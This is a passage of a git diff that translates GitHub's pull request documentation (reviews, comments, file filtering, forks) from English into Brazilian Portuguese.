-Reviews allow for discussion of proposed changes and help ensure that the changes meet the repository's contributing guidelines and other quality standards. You can define which individuals or teams own certain types or areas of code in a CODEOWNERS file. When a pull request modifies code that has a defined owner, that individual or team will automatically be requested as a reviewer. For more information, see "[About code owners](/articles/about-code-owners/)."
+Os proprietários de repositório e colaboradores podem solicitar uma revisão de pull request de uma pessoa específica. Os integrantes da organização também podem solicitar uma revisão de pull request de uma equipe com acesso de leitura ao repositório. Para obter mais informações, consulte "[Solicitar uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)". {% ifversion fpt or ghae or ghes or ghec %}Você pode especificar um subconjunto de integrantes da equipe que será automaticamente responsável no lugar de toda a equipe. Para obter mais informações, consulte "[Gerenciando configurações de revisão de código para sua equipe](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)".{% endif %}
 
-{% ifversion fpt or ghec %}You can schedule reminders for pull requests that need to be reviewed. For more information, see "[Managing scheduled reminders for pull requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)."{% endif %}
+As revisões permitem discussão das alterações propostas e ajudam a garantir que as alterações atendam às diretrizes de contribuição do repositório e outros padrões de qualidade. Você pode definir quais indivíduos ou equipes possuem determinados tipos de área de código em um arquivo CODEOWNERS. Quando uma pull request modifica código que tem um proprietário definido, esse indivíduo ou equipe será automaticamente solicitado como um revisor. Para obter mais informações, consulte "[Sobre proprietários de código](/articles/about-code-owners/)".
 
-![Header of review requesting changes with line comments](/assets/images/help/pull_requests/review-header-with-line-comment.png)
+{% ifversion fpt or ghec %}Você pode agendar lembretes para pull requests que precisam ser revisadas. Para obter mais informações, consulte "[Gerenciando os lembretes agendados para pull request](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)."{% endif %}
 
-A review has three possible statuses:
-- **Comment**: Submit general feedback without explicitly approving the changes or requesting additional changes.
-- **Approve**: Submit feedback and approve merging the changes proposed in the pull request.
-- **Request changes**: Submit feedback that must be addressed before the pull request can be merged.
+![Header de revisão solicitando alterações com comentários em linha](/assets/images/help/pull_requests/review-header-with-line-comment.png)
 
-![Image of review statuses](/assets/images/help/pull_requests/pull-request-review-statuses.png)
+Uma revisão tem três status possíveis:
+- **Comment** (Comentar): envie feedback genérico sem aprovar explicitamente as alterações nem solicitar alterações adicionais.
+- **Approve** (Aprovar): envie feedback e aprove o merge das alterações propostas na pull request.
+- **Request changes** (Solicitar alterações): envie feedback que deve ser cumprido para que a pull request possa sofrer merge.
+
+![Imagem de status de revisão](/assets/images/help/pull_requests/pull-request-review-statuses.png)
 
 {% data reusables.repositories.request-changes-tips %}
 
-You can view all of the reviews a pull request has received in the Conversation timeline, and you can see reviews by repository owners and collaborators in the pull request's merge box.
+Você pode exibir todas as revisões que uma pull request recebeu na linha do tempo Conversation (Conversa), assim como pode ver revisões por proprietários e colaboradores de repositório na caixa de merge da pull request.
 
-![Image of reviews in a merge box](/assets/images/help/pull_requests/merge_box/pr-reviews-in-merge-box.png)
+![Imagem de revisões em uma caixa de merge](/assets/images/help/pull_requests/merge_box/pr-reviews-in-merge-box.png)
 
 {% data reusables.search.requested_reviews_search_tip %}
 
 {% data reusables.pull_requests.resolving-conversations %}
 
-## Re-requesting a review
+## Ressolicitar uma revisão
 
 {% data reusables.pull_requests.re-request-review %}
 
-## Required reviews
+## Revisões obrigatórias
 
-{% data reusables.pull_requests.required-reviews-for-prs-summary %} For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)."
+{% data reusables.pull_requests.required-reviews-for-prs-summary %} Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)".
 
 {% tip %}
 
-**Tip**: If necessary, people with *admin* or *write* access to a repository can dismiss a pull request review. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+**Dica**: se necessário, as pessoas com acesso de *administrador* ou *gravação* a um repositório podem ignorar uma revisão de pull request. Para obter mais informações, consulte "[Ignorar uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)".
 
 {% endtip %}
 
-## Further reading
+## Leia mais
 
-- "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)"
-- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)"
-- "[Setting guidelines for repository contributors](/articles/setting-guidelines-for-repository-contributors)"
+- "[Revisando alterações propostas em uma pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)"
+- "[Exibir uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)"
+- "[Configurar diretrizes para os contribuidores do repositório](/articles/setting-guidelines-for-repository-contributors)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
index e4e988cae7..80027f5d02 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
@@ -25,8 +25,6 @@ shortTitle: Fazer checkout de um PR localmente
 
 ## Modificar uma pull request ativa no local
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
index 81e0efb039..34f5b56d1d 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
@@ -1,5 +1,5 @@
 ---
-title: Commenting on a pull request
+title: Fazer comentários em uma pull request
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
   - /articles/adding-commit-comments
@@ -8,7 +8,7 @@ redirect_from:
   - /articles/commenting-on-a-pull-request
   - /github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
-intro: 'After you open a pull request in a repository, collaborators or team members can comment on the comparison of files between the two specified branches, or leave general comments on the project as a whole.'
+intro: 'Depois de abrir uma pull request em um repositório, os colaboradores ou integrantes da equipe podem comentar na comparação dos arquivos entre os dois branches especificados ou deixar os comentários gerais no projeto como um todo.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,51 +16,51 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Comment on a PR
+shortTitle: Comentar em um PR
 ---
-## About pull request comments
 
-You can comment on a pull request's **Conversation** tab to leave general comments, questions, or props. You can also suggest changes that the author of the pull request can apply directly from your comment.
+## Sobre comentários da pull request
 
-![Pull Request conversation](/assets/images/help/pull_requests/conversation.png)
+Você pode fazer comentários na guia **Conversation** (Conversa) de uma pull request para deixar comentários gerais, perguntas ou complementos. Você também pode sugerir alterações que o autor da pull request pode aplicar diretamente a partir do seu comentário.
 
-You can also comment on specific sections of a file on a pull request's **Files changed** tab in the form of individual line comments or as part of a [pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). Adding line comments is a great way to discuss questions about implementation or provide feedback to the author.
+![Conversa da pull request](/assets/images/help/pull_requests/conversation.png)
 
-For more information on adding line comments to a pull request review, see ["Reviewing proposed changes in a pull request."](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+Também é possível comentar em seções específicas de um arquivo na guia **Files changed** (Arquivos alterados) de uma pull request na forma de comentários em linha individuais ou como parte de uma [revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). Adicionar comentários em linha é uma excelente maneira de discutir questões sobre implementação ou fornecer feedback ao autor.
+
+Para obter mais informações sobre como adicionar comentários em linha a uma revisão de pull request, consulte ["Revisar alterações propostas em uma pull request"](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request).
 
 {% note %}
 
-**Note:** If you reply to a pull request via email, your comment will be added on the **Conversation** tab and will not be part of a pull request review.
+**Observação:** se você responder a uma pull request por e-mail, seu comentário será adicionado na guia **Conversation** (Conversa) e não fará parte de uma revisão de pull request.
 
 {% endnote %}
 
-To reply to an existing line comment, you'll need to navigate to the comment on either the **Conversation** tab or **Files changed** tab and add an additional line comment below it.
+Para responder a um comentário em linha existente, é preciso navegar até o comentário na guia **Conversation** (Conversa) ou **Files changed** (Arquivos alterados) e incluir um comentário em linha adicional abaixo dele.
 
 {% tip %}
 
-**Tips:**
-- Pull request comments support the same [formatting](/categories/writing-on-github) as regular comments on {% data variables.product.product_name %}, such as @mentions, emoji, and references.
-- You can add reactions to comments in pull requests in the **Files changed** tab.
+**Dicas:**
+- Os comentários da pull request aceitam a mesma [formatação](/categories/writing-on-github) como comentários regulares no {% data variables.product.product_name %}, como @menções, emoji e referências.
+- Você pode adicionar reações aos comentários em pull requests na aba **Arquivos alterados**.
 
 {% endtip %}
 
-## Adding line comments to a pull request
+## Adicionar comentários em linha a uma pull request
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the list of pull requests, click the pull request where you'd like to leave line comments.
+2. Na lista de pull requests, clique na pull request onde deseja deixar comentários em linha.
 {% data reusables.repositories.changed-files %}
 {% data reusables.repositories.start-line-comment %}
 {% data reusables.repositories.type-line-comment %}
 {% data reusables.repositories.suggest-changes %}
-5. When you're done, click **Add single comment**.
-  ![Inline comment window](/assets/images/help/commits/inline-comment.png)
+5. Quando tiver concluído, clique em **>Add single comment** (Adicionar único comentário). ![Janela de comentários inline](/assets/images/help/commits/inline-comment.png)
 
-Anyone watching the pull request or repository will receive a notification of your comment.
+Qualquer pessoa que inspeciona a pull request ou o repositório receberá uma notificação de seu comentário.
 
 {% data reusables.pull_requests.resolving-conversations %}
 
-## Further reading
+## Leia mais
 
-- "[Writing on GitHub](/github/writing-on-github)"
-{% ifversion fpt or ghec %}- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[Escrevendo no GitHub](/github/writing-on-github)"
+{% ifversion fpt or ghec %}- "[Denunciar abuso ou spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
 {% endif %}
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
index bd7a9b087f..b3b964563f 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Filtering files in a pull request
-intro: 'To help you quickly review changes in a large pull request, you can filter changed files.'
+title: Filtrar arquivos em uma pull request
+intro: 'Para facilitar a rápida revisão de alterações em uma pull request extensa, você pode filtrar arquivos alterados.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request
   - /articles/filtering-files-in-a-pull-request-by-file-type
@@ -14,25 +14,24 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Filter files
+shortTitle: Filtrar arquivos
 ---
-You can filter files in a pull request by file extension type, such as `.html` or `.js`, lack of an extension, code ownership, or dotfiles.
+
+Você pode filtrar arquivos em um pull request por tipo de extensão de arquivo, como `. tml` ou `.js`, falta de uma extensão, propriedade de código ou dotfiles.
 
 {% tip %}
 
-**Tip:** To simplify your pull request diff view, you can also temporarily hide deleted files or files you have already viewed in the pull request diff from the file filter drop-down menu.
+**Dica:** para simplificar a visualização do diff do pull request, também é possível ocultar temporariamente os arquivos excluídos ou aqueles que você já visualizou no diff do pull request a partir menu suspenso Filtro de arquivo.
 
 {% endtip %}
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the list of pull requests, click the pull request you'd like to filter.
+2. Na lista de pull requests, clique na pull request que você gostaria de filtrar.
 {% data reusables.repositories.changed-files %}
-4. Use the File filter drop-down menu, and select, unselect, or click the desired filters.
-  ![File filter option above pull request diff](/assets/images/help/pull_requests/file-filter-option.png)
-5. Optionally, to clear the filter selection, under the **Files changed** tab, click **Clear**.
-  ![Clear file filter selection](/assets/images/help/pull_requests/clear-file-filter.png)
+4. Use o menu suspenso File filter (Filtro de arquivo) e selecione, desmarque ou clique nos filtros desejados. ![Opção File filter (Filtro de arquivo) acima do diff da pull request](/assets/images/help/pull_requests/file-filter-option.png)
+5. Como opção, para limpar a seleção de filtro, abaixo da aba **Files changed** (Arquivos alterados) clique em **Clear** (Limpar). ![Limpar a seleção File filter (Filtro de arquivo)](/assets/images/help/pull_requests/clear-file-filter.png)
 
-## Further reading
+## Leia mais
 
-- "[About comparing branches in a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)"
-- "[Finding changed methods and functions in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request)"
+- "[Sobre comparar branches em uma pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)"
+- "[Encontrar métodos e funções alterados em uma pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
index 94e8467a8d..f10188004b 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
@@ -5,7 +5,7 @@ redirect_from:
   - /articles/reviewing-and-discussing-changes-in-pull-requests
   - /articles/reviewing-changes-in-pull-requests
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests
-intro: 'After a pull request has been opened, you can review and discuss the set of proposed changes.'
+intro: 'Depois de abrir uma pull request, você pode revisar e comentar um conjunto de alterações propostas.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -25,5 +25,6 @@ children:
   - /approving-a-pull-request-with-required-reviews
   - /dismissing-a-pull-request-review
   - /checking-out-pull-requests-locally
-shortTitle: Review changes
+shortTitle: Revisar alterações
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
index 35a425283f..e81b635e99 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing proposed changes in a pull request
-intro: 'In a pull request, you can review and discuss commits, changed files, and the differences (or "diff") between the files in the base and compare branches.'
+title: Revisar alterações proposta em pull requests
+intro: 'Em uma pull request, você pode revisar e comentar commits, arquivos alterados e diferenças (ou "diff") entre os arquivos nos branches base e de comparação.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request
   - /articles/reviewing-proposed-changes-in-a-pull-request
@@ -13,17 +13,16 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Review proposed changes
+shortTitle: Revisar alterações propostas
 ---
-## About reviewing pull requests
 
-You can review changes in a pull request one file at a time. While reviewing the files in a pull request, you can leave individual comments on specific changes. After you finish reviewing each file, you can mark the file as viewed. This collapses the file, helping you identify the files you still need to review. A progress bar in the pull request header shows the number of files you've viewed. After reviewing as many files as you want, you can approve the pull request or request additional changes by submitting your review with a summary comment.
+## Sobre revisões de pull requests
+
+Você pode revisar as alterações em um arquivo de pull request por vez. Ao revisar os arquivos em um pull request, você pode deixar comentários individuais em alterações específicas. Após terminar de revisar cada arquivo, você pode marcar o arquivo como visualizado. Isso aninha o arquivo e ajuda a identificar os arquivos que ainda precisam ser revisadas. Uma barra de progresso no cabeçalho do pull request mostra o número de arquivos que você visualizou. Depois de revisar todos os arquivos você desejar, você pode aprovar a solicitação de pull ou solicitar alterações adicionais enviando a sua revisão com um comentário resumido.
 
 {% data reusables.search.requested_reviews_search_tip %}
 
-## Starting a review
-
-{% include tool-switcher %}
+## Iniciar uma revisão
 
 {% webui %}
 
@@ -32,81 +31,81 @@ You can review changes in a pull request one file at a time. While reviewing the
 {% data reusables.repositories.changed-files %}
 {% ifversion fpt or ghec or ghes > 3.3 or ghae %}
 
-   You can change the format of the diff view in this tab by clicking {% octicon "gear" aria-label="The Settings gear" %} and choosing the unified or split view. The choice you make will apply when you view the diff for other pull requests.
+   Você pode alterar o formato da visualização do diff nesta aba clicando em {% octicon "gear" aria-label="The Settings gear" %} e escolhendo a exibição unificada ou dividida. A escolha que você fizer será aplicada quando você visualizar o diff para outros pull requests.
 
-   ![Diff view settings](/assets/images/help/pull_requests/diff-view-settings.png)
+   ![Configurações de exibição do diff](/assets/images/help/pull_requests/diff-view-settings.png)
 
-   You can also choose to hide whitespace differences. The choice you make only applies to this pull request and will be remembered the next time you visit this page.
+   Você também pode optar por ocultar as diferenças nos espaços em branco. A escolha que você fizer só se aplica a este pull request e será lembrada na próxima vez que você acessar esta página.
 {% endif %}
 {% data reusables.repositories.start-line-comment %}
 {% data reusables.repositories.type-line-comment %}
 {% data reusables.repositories.suggest-changes %}
-1. When you're done, click **Start a review**. If you have already started a review, you can click **Add review comment**.
+1. Quando terminar, clique em **Start a review** (Iniciar uma revisão). Se você já iniciou uma revisão, poderá clicar em **Add review comment** (Adicionar comentários à revisão).
 
-   ![Start a review button](/assets/images/help/pull_requests/start-a-review-button.png)
+   ![Botão Start a review (Iniciar uma revisão)](/assets/images/help/pull_requests/start-a-review-button.png)
 
-Before you submit your review, your line comments are _pending_ and only visible to you. You can edit pending comments anytime before you submit your review. To cancel a pending review, including all of its pending comments, scroll down to the end of the timeline on the Conversation tab, then click **Cancel review**.
+Antes de enviar a revisão, os comentários em linha ficam com status _pendente_ e somente você pode visualizá-los. Você pode editar editar os comentários pendentes a qualquer momento antes de enviar a revisão. Para cancelar uma revisão pendente, incluindo todos os comentários pendentes, role para baixo até o final da linha do tempo na guia Conversation (Conversa) e clique em **Cancel review** (Cancelar revisão).
 
-![Cancel review button](/assets/images/help/pull_requests/cancel-review-button.png)
+![Botão Cancel review (Cancelar revisão)](/assets/images/help/pull_requests/cancel-review-button.png)
 {% endwebui %}
 
 {% ifversion fpt or ghec %}
 
 {% codespaces %}
 
-You can use [{% data variables.product.prodname_codespaces %}](/codespaces/overview) to test, run, and review pull requests.
+Você pode usar [{% data variables.product.prodname_codespaces %}](/codespaces/overview) para testar, executar e revisar pull requests.
 
 {% data reusables.codespaces.review-pr %}
 
-For more information on reviewing pull requests in {% data variables.product.prodname_codespaces %}, see "[Using Codespaces for pull requests](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests)."
+Para obter mais informações sobre a revisão de pull requests em {% data variables.product.prodname_codespaces %}, consulte "[Usando codespaces para pull requests](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests)"
 
 {% endcodespaces %}
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
-## Reviewing dependency changes
+## Revisar alterações de dependência
 
 {% data reusables.dependency-review.beta %}
 
-If the pull request contains changes to dependencies you can use the dependency review for a manifest or lock file to see what has changed and check whether the changes introduce security vulnerabilities. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)."
+Se o pull request contiver alterações em dependências, você poderá usar a revisão de dependências para um manifesto ou arquivo de bloqueio para ver o que mudou e verificar se as alterações introduzem vulnerabilidades de segurança. Para obter mais informações, consulte "[Revisar as mudanças de dependências em um pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request)".
 
 {% data reusables.repositories.changed-files %}
 
-1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button.
+1. À direita do cabeçalho de um manifesto ou arquivo de bloqueio, exiba a revisão de dependências clicando no botão de diff avançado**{% octicon "file" aria-label="The rich diff icon" %}**.
 
-   ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
+   ![Botão de diff avançado](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
 
 {% data reusables.repositories.return-to-source-diff %}
 {% endif %}
 
-## Marking a file as viewed
+## Marcar um arquivo como visualizado
 
-After you finish reviewing a file, you can mark the file as viewed, and the file will collapse. If the file changes after you view the file, it will be unmarked as viewed.
+Quando terminar de revisar um arquivo, você pode marcar o arquivo como visualizado, e o arquivo será aninhado. Se o arquivo for alterado após ser visualizado, será desmarcado como visualizado.
 
 {% data reusables.repositories.changed-files %}
-2. On the right of the header of the file you've finished reviewing, select **Viewed**.
+2. À direta do cabeçalho do arquivo revisado, selecione **Viewed** (Visualizado).
 
-   ![Viewed checkbox](/assets/images/help/pull_requests/viewed-checkbox.png)
+   ![Caixa de seleção visualizado](/assets/images/help/pull_requests/viewed-checkbox.png)
 
-## Submitting your review
+## Enviar a revisão
 
-After you've finished reviewing all the files you want in the pull request, submit your review.
+Quando terminar de revisar os arquivos que deseja incluir na pull request, envie a revisão.
 
 {% data reusables.repositories.changed-files %}
 {% data reusables.repositories.review-changes %}
 {% data reusables.repositories.review-summary-comment %}
-4. Select the type of review you'd like to leave:
+4. Selecione como deseja marcar a revisão:
 
-   ![Radio buttons with review options](/assets/images/help/pull_requests/pull-request-review-statuses.png)
+   ![Botões de opção com opções de revisão](/assets/images/help/pull_requests/pull-request-review-statuses.png)
 
-    - Select **Comment** to leave general feedback without explicitly approving the changes or requesting additional changes.
-    - Select **Approve** to submit your feedback and approve merging the changes proposed in the pull request.
-    - Select **Request changes** to submit feedback that must be addressed before the pull request can be merged.
+    - Selecione **Comment** (Comentar) para incluir um feedback geral sem aprovar explicitamente as alterações nem solicitar alterações adicionais.
+    - Selecione **Approve** (Aprovar) para enviar um feedback e aprovar o merge das alterações propostas na pull request.
+    - Selecione **Request changes** (Solicitar alterações) para enviar um feedback que deve ser aplicado para que a pull request possa sofrer merge.
 {% data reusables.repositories.submit-review %}
 
 {% data reusables.repositories.request-changes-tips %}
 
-## Further reading
+## Leia mais
 
-- "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)"
-- "[Filtering pull requests by review status](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)"
+- "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)"
+- "[Filtrar pull requests por status de revisão](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
index f9a5eda3a6..98c84b7427 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
@@ -1,6 +1,6 @@
 ---
-title: About forks
-intro: A fork is a copy of a repository that you manage. Forks let you make changes to a project without affecting the original repository. You can fetch updates from or submit changes to the original repository with pull requests.
+title: Sobre bifurcações
+intro: Uma bifurcação é uma cópia de um repositório que você gerencia. As bifurcações permitem fazer alterações em um projeto sem afetar o repositório original. Você pode fazer fetch de atualizações no repositório ou enviar alterações ao repositório original com pull requests.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks
   - /articles/about-forks
@@ -14,32 +14,33 @@ versions:
 topics:
   - Pull requests
 ---
-Forking a repository is similar to copying a repository, with two major differences:
 
-* You can use a pull request to suggest changes from your user-owned fork to the original repository, also known as the *upstream* repository.
-* You can bring changes from the upstream repository to your local fork by synchronizing your fork with the upstream repository.
+Bifurcar um repositório é semelhante a copiar um repositório, com duas grandes diferenças:
+
+* Você pode usar uma pull request para sugerir alterações da sua bifurcação user-owned para o repositório original, também conhecido como o repositório *upstream*.
+* Você pode transmitir alterações do repositório upstream para a sua bifurcação local sincronizando a bifurcação com o repositório upstream.
 
 {% data reusables.repositories.you-can-fork %}
 
 {% ifversion fpt or ghec %}
 
-If you're a member of a {% data variables.product.prodname_emu_enterprise %}, there are further restrictions on the repositories you can fork. {% data reusables.enterprise-accounts.emu-forks %} For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Se você for um integrante de um {% data variables.product.prodname_emu_enterprise %}, existem outras restrições nos repositórios que você pode bifurcar. {% data reusables.enterprise-accounts.emu-forks %}Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}{% endif %}
 
 {% endif %}
 
 {% data reusables.repositories.desktop-fork %}
 
-Deleting a fork will not delete the original upstream repository. You can make any changes you want to your fork—add collaborators, rename files, generate {% data variables.product.prodname_pages %}—with no effect on the original.{% ifversion fpt or ghec %} You cannot restore a deleted forked repository. For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+Excluir uma bifurcação não exclui o repositório upstream original. Você pode fazer quaisquer alterações que quiser em sua bifurcação — adicionar colaboradores, renomear arquivos, gerar {% data variables.product.prodname_pages %}— sem efeito no original.{% ifversion fpt or ghec %} Você não pode restaurar um repositório bifurcado excluído. Para obter mais informações, consulte "[Restaurar um repositório excluído](/articles/restoring-a-deleted-repository)".{% endif %}
 
-In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch (including deleting the branch). This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization. 
+Em projetos de código aberto, as bifurcações são usadas com frequência para iterar ideias ou alterações antes que elas sejam oferecidas de volta ao repositório upstream. Ao fazer alterações na bifurcação do usuário e abrir um pull request que compara seu trabalho com o repositório upstream, você pode dar a qualquer pessoa com acesso push à permissão do repositório upstream para fazer push das alterações para seu branch de pull request (incluindo a exclusão do branch). Isso agiliza a colaboração ao permitir que os mantenedores de repositório façam commits ou executem testes localmente em seu branch de pull requests a partir de uma bifurcação de propriedade do usuário antes de fazer merge. Você não pode dar permissões de push a uma bifurcação de propriedade de uma organização.
 
 {% data reusables.repositories.private_forks_inherit_permissions %}
 
-If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)".
+Se você deseja criar um novo repositório a partir do conteúdo de um repositório existente, mas não quer fazer merge das suas alterações no upstream posteriormente, você poderá duplicar o repositório ou, se o repositório for um modelo, você poderá usar o repositório como um modelo. Para obter mais informações, consulte "[Duplicando um repositório](/articles/duplicating-a-repository)" e "[Criando um repositório a partir de um modelo](/articles/creating-a-repository-from-a-template)".
 
-## Further reading
+## Leia mais
 
-- "[About collaborative development models](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)"
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- "[Sobre modelos de desenvolvimento colaborativo](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)"
+- "[Criar uma pull request de uma bifurcação](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
